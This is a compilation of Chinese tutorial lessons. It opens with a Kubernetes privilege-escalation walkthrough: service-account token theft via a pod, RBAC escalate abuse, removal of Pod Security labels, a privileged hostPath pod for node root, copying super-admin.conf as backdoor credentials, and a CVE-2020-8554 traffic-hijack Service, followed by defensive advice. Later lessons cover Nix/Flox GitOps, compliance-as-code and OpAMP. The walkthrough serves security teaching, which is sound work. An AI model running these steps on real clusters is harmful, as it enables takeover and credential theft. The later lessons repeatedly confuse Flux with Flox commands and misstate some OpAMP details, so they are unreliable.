使用 kubectl auth can-i --list 命令可以列出当前上下文(即我们的开发人员服务账户)在集群中的所有权限。

kubectl auth can-i --list

输出显示,我们在 dev 命名空间中主要拥有只读权限,但关键的是,我们拥有创建Pod的权限。

发现高权限服务账户

我们检查 dev 命名空间中的服务账户。

kubectl get serviceaccounts

除了我们正在使用的 developer 服务账户,还有一个名为 rbac-manager 的服务账户。从名称推断,它可能拥有与RBAC相关的较高权限。

获取服务账户令牌

在Kubernetes中,Pod可以使用其所在命名空间内的任何服务账户。由于我们拥有创建Pod的权限,我们可以创建一个新的Pod,并指定其使用 rbac-manager 服务账户。

以下是Pod的YAML清单,它将 rbac-manager 的令牌挂载到容器内:

apiVersion: v1
kind: Pod
metadata:
  name: token-reader
  namespace: dev
spec:
  serviceAccountName: rbac-manager
  containers:
  - name: alpine
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: token
      mountPath: /var/run/secrets/tokens
      readOnly: true
  volumes:
  - name: token
    projected:
      sources:
      - serviceAccountToken:
          path: rbac-manager-token
          expirationSeconds: 7200
          audience: api

应用这个清单后,我们可以执行命令进入该Pod并读取令牌。

kubectl exec -it token-reader -- cat /var/run/secrets/tokens/rbac-manager-token

将输出的令牌内容保存为一个环境变量,方便后续使用。

export RBAC_TOKEN=<粘贴令牌内容>

利用RBAC权限提升

现在,我们使用 rbac-manager 的令牌来检查其权限。

kubectl auth can-i --list --token=$RBAC_TOKEN

输出显示,rbac-managerrbac.authorization.k8s.io API组上拥有 *(所有)权限,这包括了 escalate 这个特殊动词。

escalate 动词允许持有者创建比自身当前权限更高的角色。这是一个关键发现。利用此权限,我们可以创建一个拥有 dev 命名空间完全控制权的新角色,并将其绑定到我们的 developer 服务账户。

首先,创建管理员角色:

kubectl create role ns-admin --verb=* --resource=* --resource-name=* --namespace=dev --token=$RBAC_TOKEN

然后,将角色绑定到开发人员:

kubectl create rolebinding ns-admin-binding --role=ns-admin --serviceaccount=dev:developer --namespace=dev --token=$RBAC_TOKEN

现在,再次检查我们(developer)的权限,会发现已经在 dev 命名空间内拥有了 *(所有)权限。

绕过Pod安全准入控制

Pod安全准入是通过命名空间上的标签来实施的。现在我们拥有了对 dev 命名空间的完全控制权,可以直接修改或删除这些安全标签。

例如,我们可以移除基线策略限制:

kubectl label namespace dev pod-security.kubernetes.io/enforce- --overwrite

或者,更直接地,将命名空间标记为特权模式(仅用于演示,生产环境切勿使用):

kubectl label namespace dev pod-security.kubernetes.io/enforce=privileged --overwrite

标签修改后,之前被阻塞的 read-log-file Deployment 应该能成功创建并运行Pod了。我们的首要目标已经达成。

进一步的权限提升与节点控制

拥有在命名空间内无限制创建Pod的权限,本质上等同于获得了对其所调度节点的root访问权。我们可以创建一个特权Pod来完全控制节点。

应用以下清单,它将创建一个拥有主机网络、PID命名空间并启用特权模式的Pod:

apiVersion: v1
kind: Pod
metadata:
  name: node-root
  namespace: dev
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: root
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /

创建后,进入该Pod,即可获得节点的root shell:

kubectl exec -it node-root -- chroot /host /bin/bash

现在,我们完全控制了该节点(在本Kind集群中,这是控制平面节点)。

获取持久化集群凭证

为了未来能方便地“修复”问题,我们可以从控制平面节点上获取高权限的Kubernetes配置文件。在基于kubeadm的部署中,通常存在 admin.confsuper-admin.conf 文件。

  • admin.conf:包含具有集群管理员权限的客户端证书,但其权限可通过RBAC撤销。
  • super-admin.conf:凭证位于 system:masters 组中。该组的成员权限由API服务器硬编码绕过所有授权模块,无法通过RBAC撤销,是真正的“后门”凭证。

我们可以从节点的文件系统中复制这些文件,从而获得不受时间限制的集群最高访问权限。

利用未修补的CVE进行流量劫持

最后,我们演示一个无法通过补丁修复的Kubernetes漏洞:CVE-2020-8554。该漏洞允许攻击者在集群内劫持其他Pod对外部服务的请求。

其原理是:Kubernetes Service支持 externalIPs 字段。当创建一个指定了外部IP的Service时,Kubernetes会通过iptables规则,将发往该IP的流量重定向到Service后端Pod。攻击者可以创建一个Service,将外部知名服务的IP(如 icanhazip.com 的IP)声明为自己的 externalIPs,从而劫持集群内其他Pod对该服务的访问。

以下是攻击者部署的恶意Service示例:

apiVersion: v1
kind: Service
metadata:
  name: bad-service
  namespace: dev
spec:
  externalIPs:
  - 104.18.114.97
  - 104.18.115.97
  ports:
  - port: 80
  selector:
    app: bad-app

防御此漏洞的最佳方式是通过准入控制器,禁止或严格管控带有 externalIPs 的Service的创建。

总结与防御建议

在本教程中,我们一起模拟了一次Kubernetes权限提升攻击,经历了以下步骤:

  1. 初始访问:作为拥有基本权限的开发人员。
  2. 发现凭据:利用Pod创建权限,获取了高权限服务账户 rbac-manager 的令牌。
  3. 权限提升:利用 rbac-manager 拥有的 escalate 动词,创建了命名空间管理员角色。
  4. 绕过安全策略:利用对命名空间的完全控制权,移除了Pod安全准入标签。
  5. 节点控制:创建特权Pod,获得了节点root权限。
  6. 凭证窃取:从控制平面节点获取了持久化的高权限kubeconfig文件。
  7. 横向移动:演示了利用未修补CVE进行集群内流量劫持。

为了防御此类攻击,集群管理员应遵循以下最佳实践:

  • 最小权限原则:严格遵循最小权限原则,避免使用 * 通配符授权,尤其是对于 escalateimpersonate 等敏感动词。
  • 命名空间隔离:将不同信任级别的工作负载隔离到不同的命名空间。高权限的服务账户(如RBAC管理器)应部署在专用的、访问受限的命名空间中。
  • 保护服务账户令牌:意识到Pod创建是获取服务账户令牌的途径之一。使用如Bound Service Account Tokens等特性来限制令牌的可用性。
  • 强化Pod安全:在所有命名空间强制执行Pod安全标准(PSA),并考虑使用更强大的准入控制器(如OPA Gatekeeper、Kyverno)来定义细粒度的安全策略。
  • 控制敏感特性:通过准入控制器限制高危资源的创建,例如带有 hostPathprivileged: true 的Pod,以及带有 externalIPs 的Service。
  • 定期审计:使用 kubectl auth can-i --list 等工具定期审计服务账户和用户的权限,确保没有过度授权。

Kubernetes安全是一个深度领域,充满了细微之处。希望本教程为你揭示了其中一些有趣且重要的方面,并激发了进一步学习的兴趣。

027:使用 Nix 和 Flux 进行 Kubernetes 团队开发 🚀

在本教程中,我们将学习如何结合使用 Nix 和 Flux 来构建一个可重现、声明式的开发与部署工作流。我们将从本地开发环境搭建开始,逐步构建一个 Go 应用,并将其容器化,最终部署到 Kubernetes 集群中,体验从代码到生产的完整、一致的协作流程。


环境准备与项目概览 💻

首先,我们需要准备开发环境。我们将使用一个预配置的 GitHub Codespace,其中包含了 Nix、Flux 和 Kubernetes 工具链。

以下是设置步骤:

  1. 访问 GitHub 仓库 stealthybox/cryo-nix
  2. 点击绿色的 “Code” 按钮,选择 “Open with codespaces”,然后点击 “New with options”。
  3. 建议将核心数提升至 4 核,以获得更快的计算速度。
  4. 创建 Codespace 后,在终端中克隆第二个演示仓库:git clone https://github.com/stealthybox/scale-nix-gitops
  5. 在 VSCode 中,按 Cmd+Shift+P (Mac) 或 Ctrl+Shift+P (Windows/Linux) 打开命令面板,输入 “> Add Folder to Workspace”,将 scale-nix-gitops 文件夹添加到当前工作区。

这个开发容器已经使用 Nix 和 Flux 声明式地配置了所有依赖,包括 Docker、Kubernetes 命令行工具和 kind 集群。


理解依赖管理与 Nix 的优势 📦

在团队协作中,依赖管理是一个常见痛点。不同的操作系统、不同的包管理器(如 Homebrew、apt、pacman)可能导致团队成员使用不同版本的软件,引发“在我机器上能运行”的问题。

容器化(如 Docker)部分解决了环境一致性问题,但它引入了虚拟机开销,并且无法充分利用宿主机的原生硬件性能(如 GPU)。

Nix 是一个功能强大的函数式包管理器,它通过声明式和密闭的方式构建可重现的软件。其核心优势在于:

  • 声明式构建:软件构建过程由声明式语言描述。
  • 可重现性:相同的输入(描述)总是产生相同的输出(二进制包)。
  • 依赖图:软件由其依赖关系图精确组装。
  • 跨平台支持:一个软件包可以针对多种操作系统和 CPU 架构进行交叉构建。

Nix 拥有超过 12 万个软件包,但其原生语言对初学者可能有些复杂。因此,我们将使用 Flakes(一个构建在 Nix 之上的易用层)来简化操作。


使用 Flux 管理声明式开发环境 ⚙️

Flux 允许我们创建和管理声明式的开发环境。这些环境定义了项目所需的所有依赖,并锁定其版本,确保跨机器和跨平台的一致性。

在我们的项目 scale-nix-gitops/scrapbook-dev 中,已经定义了一个开发环境。

首先,我们激活这个环境来获取 Go 语言工具链等开发依赖:

cd scale-nix-gitops/scrapbook-dev
flux activate

激活后,我们进入了一个子 shell,其中包含了环境定义的所有工具。我们可以列出当前环境中的包:

flux list

输出将显示类似 ca-certificatesgccgoimagemagick 等包。

这个环境是声明式定义的。如果我们想添加新包(例如 Python 3),可以运行:

flux install python3

这个命令不仅会安装包,还会自动更新项目根目录下 .flux/envs/<环境名>/manifest.toml 文件。这是一个类似 package.json 的清单文件,记录了所有依赖。同时,它还会生成一个 lock.toml 文件,锁定每个依赖的具体版本和哈希值。

这意味着,当你将包含 manifest.tomllock.toml 的代码提交到 Git 仓库后,任何克隆该仓库的团队成员,只需运行 flux activate,就能获得完全相同的依赖版本,无论是在 Linux、macOS 还是其他架构上。


构建和运行本地 Go 应用 🖥️

上一节我们准备好了开发环境,本节中我们来看看如何构建和运行我们的示例 Go 应用。

我们的应用 (main.go) 使用了 Go Fiber 框架、PostgreSQL 驱动以及 ImageMagick 的 C 语言绑定。在激活的 Flux 环境中,我们已经拥有了所有构建依赖。

现在,可以构建应用:

go build -o go-image-app

构建完成后,运行应用:

./go-image-app

应用将在 localhost:3000 启动。但是,启动后会立即失败,因为它需要连接一个 PostgreSQL 数据库,而我们还没有启动。


使用 Flux 环境运行数据库服务 🗄️

为了给应用提供数据库,我们可以使用 Flux 快速创建一个独立的、包含 PostgreSQL 服务的环境。

我们可以从 Flux 的公共仓库获取一个预定义的 PostgreSQL 环境。首先创建一个新目录并初始化环境:

mkdir postgres && cd postgres
flux init

然后,我们可以从 flox/flox-envs 仓库复制 PostgreSQL 的环境清单。或者,更简单的方式是直接使用 flox 命令拉取并运行一个远程环境:

# 在 scrapbook-dev 目录外运行
flux activate --remote flox/postgres --start-services

如果网络通畅,这个命令会拉取 PostgreSQL 环境,启动数据库服务,并输出连接信息。

如果遇到问题,我们也可以手动配置。假设我们已经将 PostgreSQL 的 manifest.toml 复制到当前 postgres 目录,现在激活并启动服务:

flux activate
flux start

激活后,PostgreSQL 服务会在本地运行。我们可以使用 psql 进行连接并创建应用所需的表。表结构定义在 scale-nix-gitops/cluster/app/db.yaml 的 ConfigMap 中。复制其中的 CREATE TABLE 语句,在 psql 中执行即可。

创建表后,再次返回 scrapbook-dev 目录,激活开发环境并运行 Go 应用。这次,应用应该能成功启动并连接到数据库了。

此时,你的终端中可能堆叠了多个 Flux 环境(如基础工具环境、开发环境、数据库环境),这体现了环境隔离和组合的能力。


将依赖容器化:构建应用基础镜像 🐳

我们的应用目前运行在本地,但为了部署到 Kubernetes,需要将其容器化。传统的 Dockerfile 构建可能引入版本漂移。利用 Nix/Flux,我们可以先构建一个完全可重现的、包含所有依赖的基础镜像

有两种方法可以实现:

方法一:使用 flux containerize 命令
这个命令可以将当前激活的 Flux 环境中的所有依赖打包成一个容器镜像。

# 确保在 scrapbook-dev 环境激活状态下运行
flux containerize

该命令会生成一个只包含依赖(不包括应用代码)的 Docker 镜像。你可以以此作为基础镜像,在 Dockerfile 中复制你的应用代码进行构建。

方法二:使用多阶段构建的 Dockerfile
我们提供了一个示例 Dockerfile (Dockerfile.flux-nix),它展示了如何在一个构建阶段内使用 Flux 环境,并将所有运行时依赖精确地复制到最终的精简镜像中。

其核心步骤包括:

  1. 使用一个包含 Flox 的镜像作为构建器。
  2. 将项目的 .flux 环境目录复制到构建器。
  3. 在构建器内激活环境,并查询 Nix 存储,获取该环境所有依赖项的存储路径。
  4. 将这些依赖项(通过硬链接)复制到一个单独的目录。
  5. 在最终阶段(例如 alpine),仅将这些依赖项复制到镜像中。

这种方法产生的最终镜像不包含 Nix 或 Flox 本身,只有应用运行所必需的库和二进制文件,并且保持了版本的绝对精确。

无论是哪种方法,关键都在于我们将声明式的环境定义直接转化为了容器镜像的内容,确保了从开发到构建的依赖一致性。


构建完整的应用容器镜像 🏗️

有了包含依赖的基础镜像,我们现在可以构建最终的应用镜像了。我们使用一个多阶段 Dockerfile。

第一阶段(构建阶段):

  • 使用我们之前构建的 scrapbook-dev 环境镜像作为基础。
  • 设置 CGO_ENABLED=1 以启用 C 语言绑定(ImageMagick)。
  • 复制应用源代码。
  • 关键步骤:在构建容器内激活 Flux 环境,以确保编译器能找到正确的头文件和库路径(因为它们位于 Nix 存储的非标准位置)。
  • 运行 go build

第二阶段(运行阶段):

  • 使用我们构建的 scrapbook-runtime 环境镜像作为基础(仅包含 ImageMagick 等运行时库)。
  • 从构建阶段复制编译好的 Go 二进制文件、静态资源等。
  • 设置入口点,通过 Flux 环境的包装器来启动应用,确保运行时也能找到正确的动态库。

构建命令如下:

# 假设 Dockerfile 使用 scrapbook-dev 和 scrapbook-runtime 作为基础镜像名
docker build -t scrapbook-app:latest .

构建成功后,你可以运行这个镜像。需要注意的是,启动命令需要通过 Flux 环境的激活脚本来包装,例如:

docker run --rm scrapbook-app:latest /bin/bash -c “. /nix/store/...-activate && /app/go-image-app”

在 Kubernetes 部署中,我们会在 Pod 的 commandargs 字段配置这个包装逻辑。


定义 Kubernetes 清单并连接 GitOps 🔄

现在,我们有了可部署的容器镜像。接下来,我们定义 Kubernetes 清单文件来部署应用。这些文件位于 scale-nix-gitops/cluster/ 目录下。

主要包含:

  1. app/scrapbook.yaml: 定义 Deployment 和 Service,运行我们的 Go 应用容器,并配置通过环境变量连接数据库。
  2. app/db.yaml: 定义 PostgreSQL 的 Deployment、Service、ConfigMap(用于初始化表结构)和 Secret(存放数据库连接信息)。

这些清单文件描述了应用在 Kubernetes 中的期望状态。

为了实现 GitOps——即使用 Git 作为声明式基础设施的唯一事实来源——我们可以使用 Flux 本身。在 cluster/flux-system/ 目录下,可以看到 Flux 的配置:

  • flux-instance.yaml: 使用 Flux Operator 在集群中安装指定版本的 Flux。
  • git-repo.yaml: 告诉 Flux 监视我们的 Git 仓库(即当前项目)。
  • kustomization.yaml: 指示 Flux 从 cluster/app 目录协调资源,部署我们的应用和数据库。

当我们将代码推送到 Git 仓库后,Flux 会自动检测变化,并在 Kubernetes 集群中协调出定义的状态。这样,从开发环境的依赖管理,到应用构建,再到生产部署,整个流程都通过声明式的 Git 仓库进行协作和驱动,实现了真正的“左移”GitOps。


总结与展望 🌟

本节课中我们一起学习了如何将 Nix/Flox 与 Flux GitOps 结合,打造一个贯穿开发与部署的声明式协作工作流。

我们回顾一下核心步骤:

  1. 声明式开发环境:使用 Flox 创建并锁定项目依赖,确保团队所有成员环境一致。
  2. 本地开发与测试:在隔离的环境中构建、运行应用,并快速启动配套服务(如数据库)。
  3. 可重现的容器构建:将声明式的环境转化为容器镜像,确保构建过程与本地开发使用完全相同的依赖。
  4. GitOps 部署:使用 Kubernetes 清单定义应用,并通过 Flux 实现自动化的 Git 到集群的同步。

这种模式的价值在于:

  • 消除环境差异:从个人电脑到 CI/CD,再到生产容器,依赖链完全一致。
  • 提升协作效率:依赖变更通过代码评审进入 Git,自动同步给所有协作者。
  • 增强可追溯性:任何环境状态都可以由 Git 提交哈希精确重现。

尽管在工具链集成(如 CGO 构建)方面还有一些粗糙的边缘需要打磨,但这条路径展示了一个未来:将声明式、协作式的 GitOps 实践向左延伸,一直覆盖到开发者的本地工作流,从而在整个软件生命周期中实现更高的可靠性、安全性和开发体验。

感谢你的参与,希望本教程能为你开启云原生团队开发的新思路。

029:利用AI驱动自动化实现创新速度下的合规

在本节课中,我们将学习如何利用“合规即代码”的理念和AI驱动的自动化工具,在快速创新的云原生环境中实现持续合规。我们将探讨其核心概念、面临的挑战、实施路径以及未来的发展方向。


概述:创新速度下的合规挑战

随着云原生和AI技术的快速发展,传统的、基于手动流程和年度审计的合规方法已无法满足需求。企业需要实现持续合规,以应对日益增多的法规要求和动态的基础设施环境。本次课程将介绍如何通过自动化、标准化和AI技术来应对这一挑战。

章节一:什么是“合规即代码”?

上一节我们概述了当前合规面临的挑战,本节中我们来看看核心解决方案——“合规即代码”的概念。

“合规即代码”是一种将合规要求、安全策略和控制措施转化为机器可读、可执行代码的方法论。它借鉴了“基础设施即代码”的思想,旨在实现合规流程的自动化、可重复和可验证。

其核心架构通常包含多个层次:

  • 法规层:原始的法规要求(如PDF、电子表格)。
  • 控制目录层:将法规转化为具体的控制措施(例如,NIST SP 800-53, CIS基准)。
  • 规则映射层:将控制措施映射到具体技术栈的可执行规则(例如,Kubernetes策略、云配置规则)。
  • 证据收集层:自动化执行检查并收集合规证据。

一个关键的开源标准是开放安全控制评估语言(OSCAL),它提供了用于定义控制目录、组件和系统的标准化模式(Schema)。

# 示例:OSCAL 控制定义简化结构
control:
  id: au-2
  title: 审计事件
  description: 组织必须生成审计记录,包含...
  implementation:
    - component-uuid: logging-system
      description: 集中式日志系统必须捕获所有身份验证事件。

章节二:云原生环境带来的挑战与机遇

理解了“合规即代码”的基础后,我们来看看它在云原生环境中的具体应用场景。

云原生环境以其动态性声明式管理为核心,这对合规提出了新要求,也创造了新机会。

挑战主要源于动态性:

  • 容器和Pod是短暂的,随时可能创建或销毁。
  • 自动扩缩容和开发者自助服务导致环境不断变化。
  • 传统的合规控制假设基础设施是静态的,难以适应这种变化。例如,要求“所有变更需经将军批准”与“通过API一键部署上千个实例”的做法相冲突。

机遇则来自声明式模型:

  • Kubernetes等平台的声明式配置(如YAML文件)确保了环境的一致性。
  • 一旦某个部署模板被验证为合规,后续所有基于该模板的部署都将继承这一合规状态。
  • 这种可预测性为自动化合规检查和证据收集提供了坚实基础。合规策略可以嵌入到CI/CD管道中,在部署时即进行验证。

章节三:AI如何加速合规流程

面对云原生的动态性,仅靠传统自动化可能仍力不从心。本节中我们来看看AI如何成为关键的加速器。

AI,特别是大语言模型和智能体(Agent),可以从多个环节优化合规生命周期:

  1. 智能分析:AI可以解析非结构化的法规文档(如PDF),提取关键要求,并将其映射到现有的合规框架和控制措施上,快速识别差距。
  2. 策略生成与优化:基于识别的差距,AI可以辅助生成或修改具体的策略代码(如OPA策略、Kubernetes网络策略)。
  3. 智能体驱动的工作流:AI智能体可以协调不同角色的干系人(安全、开发、合规官),在检测到控制变更或新要求时,自动触发通知、任务分配或集成到CI/CD流程中,实现“左移合规”。

以下是AI在合规流程中应用的一个简化示例:

# 概念示例:使用AI分析法规文档并映射控制
from compliance_ai_agent import ComplianceAnalyzer

analyzer = ComplianceAnalyzer(model="gpt-4")
new_regulation_text = open("new_gdpr_clause.pdf").read()
existing_controls = load_controls_from_oscal("nist_800-53.json")

# AI分析新法规,并与现有控制进行交叉映射,找出差距
gap_analysis = analyzer.crosswalk_and_identify_gaps(new_regulation_text, existing_controls)
print(f"已覆盖的控制: {gap_analysis.covered}")
print(f"需要新增的控制: {gap_analysis.missing}")

章节四:实施路径与关键考量

在引入了AI的强大能力后,我们需要冷静地思考如何将其落地。本节将讨论实施中的现实问题。

实施“合规即代码”并集成AI是一个长期旅程,而非一蹴而就的项目。

关键步骤与考量:

  1. 文化变革:最大的挑战往往来自人员。合规团队通常非技术背景,需要帮助他们理解并接纳自动化、代码化和AI工具。让技术团队提升合规知识,比让合规团队精通技术更为可行。
  2. 技能转变:安全与合规专家(CISO)未来的角色将更侧重于判断力风险管理,利用AI处理海量数据和自动化任务,而人类专注于决策、危机处理和建立信任。
  3. 可信度与审计:使用AI进行合规,必须解决AI本身的可信度问题。
    • 基准测试:建立真实的测试环境(如IBM的“IT基准”),用大量合规场景测试AI智能体的准确性和可靠性。
    • 可解释性:记录AI智能体的决策轨迹(Agent Trajectory),确保其过程透明、可审计,以满足合规证据要求。
  4. 时间与成本:虽然AI能大幅加速策略开发和评估过程,但完整的合规现代化转型可能需要数年时间。初期可以聚焦于利用AI进行快速评估和发现,获取即时价值。总拥有成本预计将显著降低,但需对AI引入的新成本(如基准构建、解释性工程)进行重新评估。

章节五:未来展望——AI原生合规

最后,让我们展望一下,当AI深度融入技术栈后,合规的未来图景。

未来的“AI原生合规”将面临更高阶的挑战:

  • 代码生成的规模:如果由AI智能体自动生成部署代码或容器镜像,其数量和变化速度将远超人工时代。人类如何有效评审和信任这些AI生成的资产?
  • 动态性的极致:合规控制需要适应由AI驱动、实时调整的极端动态环境。传统的“静态清单”概念将彻底失效。
  • 人机协同循环:合规将成为一个紧密的人机协同循环。AI负责监控、分析、生成和初步执行,人类负责设定目标、提供关键判断、处理异常和在危机时刻做出最终决策。CISO的角色将演变为“AI赋能的风险管理者”。

总结

本节课中我们一起学习了在云原生和AI时代实现合规的现代化路径。核心要点包括:

  • 合规即代码是自动化合规的基石,通过OSCAL等标准将控制转化为可执行代码。
  • 云原生环境既带来了动态性的挑战,也通过声明式模型提供了自动化机遇。
  • AI与智能体是强大的加速器,能用于法规分析、差距识别、策略生成和工作流协调。
  • 成功实施依赖于文化变革、技能提升、确保AI可信度以及设定合理的期望与时间线。
  • 未来的合规将是“AI原生”的,强调在极高动态性下的人机协同与信任构建。

通过拥抱“合规即代码”和AI驱动自动化,组织可以在保持创新速度的同时,有效管理合规风险,实现安全、高效的持续运营。

030:使用 OpAMP Supervisor 实现平滑扩展

在本教程中,我们将学习 Open Agent Management Protocol 及其在 OpenTelemetry Collector 中的实现。我们将了解 OpAMP Supervisor 的角色,并通过演示展示其如何管理大规模可观测性代理。

概述:什么是 OpAMP?

OpAMP 代表 Open Agent Management Protocol。它是一种用于远程管理大规模可观测性代理集群的网络协议。该协议允许服务器协调代理、发送配置、升级软件包,并为大型代理集群提供命令与控制接口。

协议基础与更新

上一节我们介绍了 OpAMP 的基本概念,本节中我们来看看协议的核心机制以及近期的关键更新。

OpAMP 定义了两类消息:AgentToServerServerToAgent。顾名思义,它们包含了双向传输的数据。

  • AgentToServer 消息:帮助服务器回答“我有哪些代理?”、“它们健康吗?”、“它们在做什么?”、“它们能做什么?”等问题。
  • ServerToAgent 消息:描述服务器能做什么,可以指示代理使用特定配置、提供用于修改代理的软件包,或向代理发送命令。

OpAMP 协议设计为与代理无关,并支持部分实现。这意味着只有代理和服务器都支持的能力才会被启用,同时协议本身也具有可扩展性。

过去一年,OpAMP 规范和实现有了多项改进。以下是三个重要的新特性:

心跳机制

心跳用于保持代理与服务器之间 WebSocket 连接的活性。大多数负载均衡器会终止空闲的 WebSocket 连接。定期发送空消息可以防止这种情况发生。

支持心跳的代理可以设置 ReportsRemoteConfig 能力。由于服务器更可能了解入站连接的保活要求,因此服务器会以首选的心跳间隔进行响应。

自定义消息

假设您想实现一个 OpAMP 协议未定义的功能。自定义消息允许通过现有的 OpAMP 连接在代理和服务器之间发送额外的消息,从而实现连接复用。

虽然自定义能力和消息的整体结构由规范定义,但消息的格式和内容则由实现者决定。要实现新的 OpAMP 功能,需要先定义一个自定义能力,并为每条消息定义消息类型和数据。只有当服务器和代理都表明支持该自定义能力时,消息才能被发送。

以下是一个使用自定义消息实现服务发现功能的示例:

# 定义自定义能力
capability: com.example.discovery

# 定义消息类型
messages:
  - name: DiscoveryRequest
    direction: server_to_agent
  - name: DiscoveryResponse
    direction: agent_to_server

可用组件

这是 OpAMP 最新添加的功能。Supervisor 允许使用 OpAMP 管理自定义的 OpenTelemetry Collector 发行版。现在,您可以创建支持通过 OpAMP 进行远程管理的自定义 Collector 发行版。

代理在发送给服务器的消息中包含可用组件的哈希值。由于完整组件列表可能很长,服务器需要在响应中设置一个标志来请求完整列表。代理随后会响应完整列表。例如:

{
  "components": {
    "receivers": {
      "filelog": "v0.89.0",
      "otlp": "v0.89.0"
    }
  }
}

通过完整的组件列表,服务器可以判断某个配置是否与代理兼容,并根据不同的组件版本提供选项。

OpenTelemetry Collector 中的实现

了解了 OpAMP 在配置代理方面的通用能力后,我们来看看在 Collector 中实现时的一些具体考量和细节。

要控制 Collector,需要做两件事:

  1. 向其发送配置(即来自服务器的远程配置部分)。
  2. Collector 向服务器返回状态和遥测信息,以便您进行监控。

从实现角度看,有两种方式:

  1. 将所有 OpAMP 组件内置于 Collector 中,让 Collector 本身“说” OpAMP。
  2. 通过一个外部进程进行“翻译”,它运行 Collector 进程,而 Collector 本身不一定需要知道 OpAMP 如何工作。

目前我们采用第二种方法,即使用 OpAMP Supervisor。这种方式更简单,无需担心将 OpAMP 嵌入 Collector 所带来的复杂生命周期管理问题。此外,它也更为强大,除了能通信崩溃信息,还能更轻松地执行二进制升级:只需下载新二进制文件,停止旧进程并启动新进程即可。

Supervisor 在 Collector 之前启动,负责与 OpAMP 服务器的所有通信。它通过将配置写入磁盘,并使用 Collector 的命令行参数传递该配置来配置 Collector。作为回报,Collector 可以向服务器返回任何必要的信息,以确保其健康状态。

Supervisor 的功能包括:

  • 返回标识代理的属性。
  • 报告支持的组件。
  • 显示 Collector 当前运行的实际配置。
  • 提供所有管道的活跃度信息。
  • 通过标准输出收集日志,并确保它们最终进入您选择的遥测后端。
  • 支持将其自身以及 Collector 的遥测数据转发到您选择的遥测后端。

要使用带有 Supervisor 的 Collector,您需要一个支持 OpAMP 扩展的发行版。您可以使用上游的 contrib 发行版进行测试,也可以使用供应商提供的支持 OpAMP 的发行版,或者构建自己的发行版。

在 Collector 中启用 OpAMP 非常简单,理想情况下只需要一个较新版本的 Collector 框架(v1.22+),并包含 opamp 扩展即可。

构建自定义发行版与自定义消息

上一节我们探讨了 Supervisor 的基本原理,本节我们将学习如何构建自定义 Collector 发行版,并深入了解自定义消息的实现。

使用 OpenTelemetry Collector Builder 可以轻松创建自定义 Collector 二进制文件。您只需要一个清单文件,指定您希望在 Collector 中包含的组件。关键是,您只需要包含 opamp 扩展。

以下是一个 OCB 清单文件的示例:

dist:
  name: my-custom-collector
  version: 1.0.0
  otelcol_version: 0.89.0

exporters:
  - gomod: go.opentelemetry.io/collector/exporter/otlpexporter v0.89.0

extensions:
  - gomod: github.com/open-telemetry/opamp-go/extension v0.8.0 # OpAMP 扩展

接下来,我们描述一下去年添加到 OpAMP 的自定义消息功能,并展示其如何通过 Supervisor 实现。

OpAMP 扩展维护着一个自定义能力注册表。自定义消息从服务器发送到 Supervisor,Supervisor 将其转发给 Collector 中运行的 OpAMP 扩展,然后该扩展将这些消息分派给实现该自定义能力的组件。

实现使用自定义消息的自定义组件的步骤如下:

  1. 组件向扩展注册,传递能力名称和一些选项。
  2. 这将返回一个自定义能力处理器。
  3. 该处理器提供一个通道来接收这些自定义消息,并允许您将自定义消息发送回服务器。

回到之前描述的服务发现示例,您可以实现一个能够进行服务发现的扩展,并在启动时注册其能力,然后使用生成的处理器与 OpAMP 服务器发送和接收这些发现消息。最后,将该扩展构建到您的发行版中,并添加到 Collector 配置中。

功能演示

理论部分已经介绍完毕,现在让我们通过实际演示来看看 OpAMP Supervisor 的运行效果。我们将展示一个基本的 Supervisor 设置,以及如何远程配置代理。

演示将展示一个正在运行的 Supervisor,它使用 OpAMP Go 仓库中的示例服务器。您需要一个 Supervisor 二进制文件、一个要运行的 Collector 二进制文件以及一个 Supervisor 配置文件。

一个基础的 Supervisor 配置文件需要指定:

  • 要连接到的 OpAMP 服务器地址。
  • 启用远程配置能力(默认禁用)。
  • Collector 二进制文件的位置。
  • 用于存储运行时信息(如缓存配置)的本地目录。

启动 Supervisor 后,它会连接到服务器并报告代理信息。如果服务器尚未发送任何配置,Collector 将不会启动以节省资源。通过服务器界面,您可以向 Supervisor 远程发送新配置。Supervisor 接收配置后,将使用新配置重启 Collector(请注意,当前这不支持热重载,会触发进程重启)。

此演示还展示了从大规模管理角度出发的能力:您可以根据代理报告的属性(如主机架构)来选择性地更新特定代理组。所有这些属性也包含在 Collector 的遥测数据中,实现了可观测性管道的自观测。

另一个演示展示了使用自定义 Collector 发行版,以及“可用组件”功能如何让服务器了解 Collector 中可用的组件。当尝试应用一个包含 Collector 发行版中不存在的组件的配置时,服务器会给出兼容性警告。

大规模挑战与未来展望

我们已经看到了 OpAMP 和 Supervisor 的强大功能,但在大规模部署时会面临一些挑战。本节我们将探讨这些挑战,并展望未来的发展方向。

大规模部署的挑战包括:

  • 惊群问题:当服务器重新部署时,所有代理会尝试同时重连,即使采用指数退避,管理大量涌入的连接也很困难。
  • 状态处理:服务器需要处理所有代理发送的完整状态信息,并发送必要的配置更新。
  • 离线代理管理:如何区分正在尝试连接但失败的代理与已被替换和删除的容器化代理?
  • 集群配置管理:OpAMP 协议定义了单个代理与服务器的交互。但当拥有十万个代理时,如何确保向所有代理发送相同的配置?如何安排更新顺序?如何处理错误?这些都是具有挑战性的问题。

未来发展路线图:

  • 近期(未来6-12个月):主要目标是提高 Supervisor 的稳定性,进行重构,使其达到生产就绪状态(目前为 Alpha 阶段)。同时,计划实现更多 OpAMP 能力,如通过 Supervisor 进行 Collector 升级、增强 Collector 和 Supervisor 内部的遥测配置与报告。此外,正在与 Java SIG 合作,以在 Java SDK 中支持 OpAMP。
  • 中期:寻求与 Kubernetes Operator 进行更多集成,使其更适应 Kubernetes 环境,例如处理高规模连接和高可用性。同时,计划扩展 Supervisor 的能力,使其能够运行多个 Collector 甚至非 Collector 代理(如 Java SDK)。
  • 远期愿景:设计让 Collector 本身“说” OpAMP,从而在某些场景下无需 Supervisor。另一个很酷的特性是实现 Collector 配置的热重载,这将是高度复杂的,目前仍处于构思阶段。

总结

